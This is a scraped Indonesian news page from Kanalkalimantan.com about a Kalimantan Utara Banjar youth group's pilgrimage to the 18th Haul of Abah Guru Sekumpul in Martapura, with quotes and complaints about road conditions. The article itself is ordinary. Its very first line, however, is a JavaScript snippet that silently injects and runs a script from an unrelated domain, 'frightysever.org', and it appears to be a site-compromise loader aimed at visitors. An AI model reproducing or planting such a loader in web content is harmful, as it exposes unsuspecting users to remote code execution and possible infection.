(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Obati Kerinduan dari Kaltara, Pemuda Banjar Kaltara Datangi Haul Sekumpul


KANALKALIMANTAN.COM, MARTAPURA – Rombongan dari Pimpinan Pusat Ikatan Pemuda Bubuhan Banjar (PP IPBB) Kalimantan Utara (Kaltara) sejak Minggu (22/1/2023) sudah tiba di Martapura, menghadiri Haul Akbar ke-18 Abah Guru Sekumpul, Kamis (26/1/2023) malam, di Jalan Kertak Baru Kampung Keramat, Martapura.

Sebelumnya, rombongan juga berziarah ke makam-makam Waliyullah seperti di komplek Kalampaian Syekh Muhammad Arsyad Al Banjari dan lain-lain, lalu berkunjung ke Makam Guru Abah Sekumpul dan Sultan Suriansyah di desa Basirih Banjarmasin.

Bahkan, rombongan juga diberi kesempatan untuk bersilaturahmi ke kediaman Guru Muin di Desa Pagar Dalam.

“Alhamdulillah, ini bagi saya dan rombongan sangat berkesan dan sangat bersyukur dapat bersilaturahmi ke bubuhan Banjar di Kalsel, mudah-mudahan Allah SWT memberikan kesempatan lagi untuk tahun depan, dan Insyaallah akan kita agendakan masuk dalam wisata religi IPBB,” tutur Yoko Handani, Ketua Umum PP IPBB, Kamis (26/1/2023) sore, kepada Kanalkalimantan.com.

 

 

Baca juga: Begini Pandangan Wapres KH Ma’ruf Amin kepada Abah Guru Sekumpul

“Kami sampai di Banjarmasin disambut dengan guyuran hujan yang cukup lebat, namun tidak menyurutkan niat kami untuk melaksanakam niatan berziarah ke makam para Walinya Allah karena bagi kami ini sebuah berkah, Alhamdulillah. Semoga Allah SWT memberikan kebaikan untuk kami semuanya,” sambungnya.

Sementara itu, Sekretaris Jenderal PP IPBB Normansyah yang turut mendampingi juga merasakan hal yang sama, bahkan kesempatan menghadiri Haul Abah Sekumpul ini menjadi titik balik dalam mendekatkan diri kepada Allah SWT, dan mencintai para Wali-Wali Allah di Banjarmasin.

“Sesuai arahan pak ketua, Insyallah akan kita agendakan wisata religi ini di tahun depan, kali ini kita hanya beberapa orang saja, hanya membawa dua kendaraan roda empat saja,” ujar Normansyah.

Rombongan dari Pimpinan Pusat Ikatan Pemuda Bubuhan Banjar (PP IPBB) Kalimantan Utara (Kaltara) saat ziarah ke makam Sultan Suriansyah di Banjarmasin. Foto: ist

“Mudah-mudahan tahun depan anggota IPBB lainnya bisa ikut hadir, minimal 5 hingga 10 persenlah yang ikut, jadi bisa puluhan mobil beriringan, atau sekalian kita sewa mobil bus,” sambungnya.

Baca juga: BREAKING NEWS. Guru Sa’dudin: Haul Ke-18 Guru Sekumpul Digelar di Mushala Ar Raudhah Minggu Malam

Bunda Rina sebagai penunjuk jalan rombongan mengatakan Haul Abah Sekumpul yang dilaksanakan setiap tahunnya, selalu dipenuhi oleh jemaah dari berbagai daerah, baik dari pulau Kalimantan, Sulawesi, Jawa bahkan dari luar negeri.

Sehingga Haul ke-18 Abah Sekumpul dipastikan akan sangat ramai karena sudah 3 tahun berturut-turut panitia tidak melaksanakan Haul Akbar karena kondisi Covid-19 melanda negeri.

“Insyallah tahun ini Haul Abah Sekumpul ke-18 pasti ramai, karena memang 3 tahun sempat ditutup untuk umum, jadi jemaah dari daerah lain, sudah sangat rindu dengan pelaksanaan Haul ini lah,” ucapnya.

Bunda Rina yang hanpir setiap tahunnya bersilaturahmi ke Banjarmasinm Kalsel sejak tahun 2006 silam, melihat berbagai perubahan. Bahkan, yang dahulunya jalur trans Kalimantan hanya berupa agregat, hingga menjadi jalan yang mulus dan bahkan kembali lagi menjadi jalan yang rusak.

“Kami mengambil jalur dari Tarakan naik Feri ke Sebawang KTT, lalu menuju Berau dan nginap semalam dulu, lalu pada keesokan harinya baru menembus jalur poros Wahau, di sini jalannya kurang begitu bagus hingga sampai ke jalan poros Sangatta Bontang, kami berharap Pemerintah Provinsi Kaltim segera dapat memperbaiki dan memperbagus jalur trans Kalimantan, karena sangat membahayakan para pengguna jalan,” tutur Bunda Rina.

Baca juga: Terlahir Lelaki, Lika-liku Mereka yang ‘Memilih’ Jalan Hidup Transgender

Sekadar informasi, Jalur Trans dari Sebawang ke Jelarai masih cukup bagus, lepas dari Jelaray menuju Berau terlihat jalan yang sedikit rusak, lalu memasuki wilayah Poros Wahau, Sangatta Bontang, jalannya cukup menghawatirkan. Namun, ada sebagian jalan yang baru saja diperbaiki dengan aspal hotmik. (Kanalkalimantan.com/al)

Reporter : al
Editor : bie


Risa

Recent Posts

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

2 menit ago

KPU Kalsel: Pilwali Banjarbaru Tidak Masuk Klasifikasi Kotak Kosong

KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More

48 menit ago

Pimpin Delegasi Indonesia di COP29 Pikat Pendanaan Hijau EUR1,2 Miliar untuk Sektor Kelistrikan

KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More

3 jam ago

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

14 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

15 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

15 jam ago

This website uses cookies.